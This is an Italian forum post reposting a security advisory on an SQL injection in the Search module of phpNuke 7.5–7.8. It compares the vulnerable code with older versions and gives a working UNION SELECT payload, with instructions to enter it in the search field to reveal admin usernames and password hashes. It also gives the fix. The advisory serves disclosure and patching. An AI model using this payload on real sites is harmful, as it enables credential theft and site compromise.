NukeBest :: Leggi il Topic - [advisory] Sql injection critica in phpNuke 7.5-7.8
 



    Novità! Vuoi rimanere aggiornato sulla sicurezza per Php-Nuke? Prova i nostri security alerts!
Ricerca per in
NukeBest Ricerca avanzata

 
Topics recenti   Next 6 >>  
 Forum   Autore   Risposte   Ultimo Messaggio 
Compilate i profili con la vostra versione di nuke Esclamazione Servizi, collaborazione, iniziative lorenzo 0 Mar 22 Ago, 2006 9:06 am
lorenzo Leggi gli ultimi messaggi
Aprire file pdf all'interno della pagina Moduli e Forum dipic 1 Gio 02 Ott, 2008 11:29 am
dipic Leggi gli ultimi messaggi
problema forum Lazy Google Tap francescodelv 2 Mar 02 Set, 2008 10:51 pm
lorenzo Leggi gli ultimi messaggi
Web TV Script Evo Off-topic puma 15 Ven 29 Ago, 2008 11:53 pm
Pitbull Leggi gli ultimi messaggi
Tag cloud Nuke Off-topic buddy 3 Mar 26 Ago, 2008 10:01 pm
eros23 Leggi gli ultimi messaggi
TOMBOLA Flash Area carmine3838 1 Ven 01 Ago, 2008 10:22 pm
carmine3838 Leggi gli ultimi messaggi

[advisory] Sql injection critica in phpNuke 7.5-7.8

 
Nuovo Topic   Rispondi   Vedi il printer-friendly    Indice del forum -> Sicurezza e Sentinel
Precedente :: Successivo  
Autore Messaggio
lorenzo
Founder
Founder


Registrato: Apr 13, 2006
Messaggi: 788


Stato: Offline
Versione Nuke: Nuke Evolution 2

MessaggioInviato: Sab 15 Apr, 2006 10:40 am    Oggetto: [advisory] Sql injection critica in phpNuke 7.5-7.8 Rispondi citando

 This  particular  advisory  will  address  critical  sql  injection  case  in  "Search"  module.
 Versions  7.5  -  7.8  are  affected,  older  versions  contain  different  code  implementation
 and  are  not  affected  by  bug.  Newest  version  7.9  is  not  vulnerable  too.
 
 
 
 Details
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Let's  start  by  looking  at  "modules/Search/index.php"  code  in  older  nuke  versions,  in  this
 example,  7.1  :
 
 ----------------[  from  source  code  ]------------------
 
 $query  =  addslashes($query);
 
 if  ($type=="stories"  OR  !$type)  {
 
 if  ($category  >  0)  {
 $categ  =  "AND  catid=$category  ";
 }  elseif  ($category  ==  0)  {
 $categ  =  "";
 }
 $q  =  "select  s.sid,  s.aid,  s.informant,  s.title,  s.time,  s.hometext,
 s.bodytext,  a.url,  s.comments,  s.topic  from  ".$prefix."_stories  s,  ".$prefix."_authors
 a  where  s.aid=a.aid  $queryalang  $categ";
 if  (isset($query))  $q  .=  "AND  (s.title  LIKE  '%$query%'  OR  s.hometext  LIKE
 '%$query%'  OR  s.bodytext  LIKE  '%$query%'  OR  s.notes  LIKE  '%$query%')  ";
 if  ($author  !=  "")  $q  .=  "AND  s.aid='$author'  ";
 
 ----------------[  /from  source  code  ]-----------------
 
 As  we  can  see,  "addslashes()"  is  used  against  "$query"  variable,  so  sql  injection  is  not
 possible.  Now  let's  peek  at  the  same  code  fragment  in  newer  phpnuke  version,  in  this
 specific  case  -  7.5  :
 
 
 ----------------[  from  source  code  ]------------------
 
 $query  =  stripslashes(check_html($query,  "nohtml"));
 
 if  ($type=="stories"  OR  !$type)  {
 
 if  ($category  >  0)  {
 $categ  =  "AND  catid='$category'  ";
 }  else  {
 $categ  =  "";
 }
 $q  =  "select  s.sid,  s.aid,  s.informant,  s.title,  s.time,  s.hometext,
 s.bodytext,  a.url,  s.comments,  s.topic  from  ".$prefix."_stories  s,  ".$prefix."_authors
 a  where  s.aid=a.aid  $queryalang  $categ";
 if  (isset($query))  $q  .=  "AND  (s.title  LIKE  '%$query%'  OR  s.hometext  LIKE
 '%$query%'  OR  s.bodytext  LIKE  '%$query%'  OR  s.notes  LIKE  '%$query%')  ";
 if  ($author  !=  "")  $q  .=  "AND  s.aid='$author'  ";
 ----------------[  /from  source  code  ]-----------------
 
 Any  difference?  Only  the  first  line:
 
 $query  =  stripslashes(check_html($query,  "nohtml"));
 
 Well,  i  really  don't  know,  what  was  thinking  the  person,  who  changed  this  little  code
 snippet.  But  the  truth  is,  that  very  big  hole  to  phpnuke  installation  is  opened  and  it  exists
 in  versions  7.5,  7.6,  7.7  and  7.8  Occhiolino
 
 So  -  is  this  exploitable?  Yes,  if  we  have  mysql  version  4.x  with  UNION  support,  if  we  can  avoid
 potential  anti-sql-injection  filters/traps/ids/ips  and  if  sql  table  name  prefix  is  not  changed.
 
 Example  proof  of  concept  exploit?  Here  it  is:
 
 [------  real  life  exploit  ------]
 
 p0hh0nsee%')  UNION  ALL  SELECT  1,2,aid,pwd,5,6,7,8,9,10  FROM  nuke_authors/*
 
 [-----  /real  life  exploit  ------]
 
 For  exploiting  just  enter  this  string  to  search  field  in  "search.html"  page:
 
Devi  essere  loggato  per  vedere  questo  link
Registrati  o  fai  il  Login

 
 and  if  it  works,  you  will  see  usernames  and  password  hashes  of  ALL  admins  Occhiolino
 
Devi  essere  loggato  per  vedere  questo  link
Registrati  o  fai  il  Login

 
 
 See  ya  s00n  and  have  a  nice  day  Occhiolino
 
 
 
 How  to  fix:
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Download  7.9  version.  Or  patch  manually  that  flawed  codeline.
 
 
 Greetings:
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Greetz  to  LINUX,  Heintz,  y3dips,  shai-tan,  slimjim100,  zer0-c00l  and
 all  other  active  members  from  waraxe  forum  !
 
 Raido  Kerna  -  tervitused!
 
 ---tratto  da
Devi  essere  loggato  per  vedere  questo  link
Registrati  o  fai  il  Login
Torna in cima
Profilo Messaggio privato HomePage
Mostra prima i messaggi di:   
Nuovo Topic   Rispondi   Vedi il printer-friendly    Indice del forum -> Sicurezza e Sentinel Tutti i fusi orari sono UTC + 1 ora
Pagina 1 di 1

 
Vai a:  
Non puoi inserire nuovi Topic in questo forum
Non puoi rispondere ai Topic in questo forum
Non puoi modificare i tuoi messaggi in questo forum
Non puoi cancellare i tuoi messaggi in questo forum
Non puoi votare nei sondaggi in questo forum
Non puoi allegare file in questo forum
Puoi scaricare file da questo forum





Powered by phpBB © 2001, 2002 phpBB Group
Titolare dei crediti Italiani © www.nuke-evolution.it


This site is hosted by eVerity

[Mappa del Sito - Note legali - Donazioni]
[backend] [backendforums] [backenddownloads] [backendlinks] [Validate robots.txt] website monitoring
Tutti i commenti e i post sul forum sono di proprietą degli utenti che li inseriscono, ed essi se ne assumono la completa responsabilitą.

PHP-Nuke Copyright © 2006 by Francisco Burzi.
Tutti i loghi, marchi e file contenuti in questo sito sono dei rispettivi propretari, tutto il resto © 2008 dei rispettivi proprietari del sito.
Powered by Nuke-Evolution.
Traduzioni e adattamento in italiano a cura di Nuke Evolution Italia.

[ Pagina generata in: 0.21 Secondi | Memory Usage: 5.25 MB | DB Queries: 50 ]

.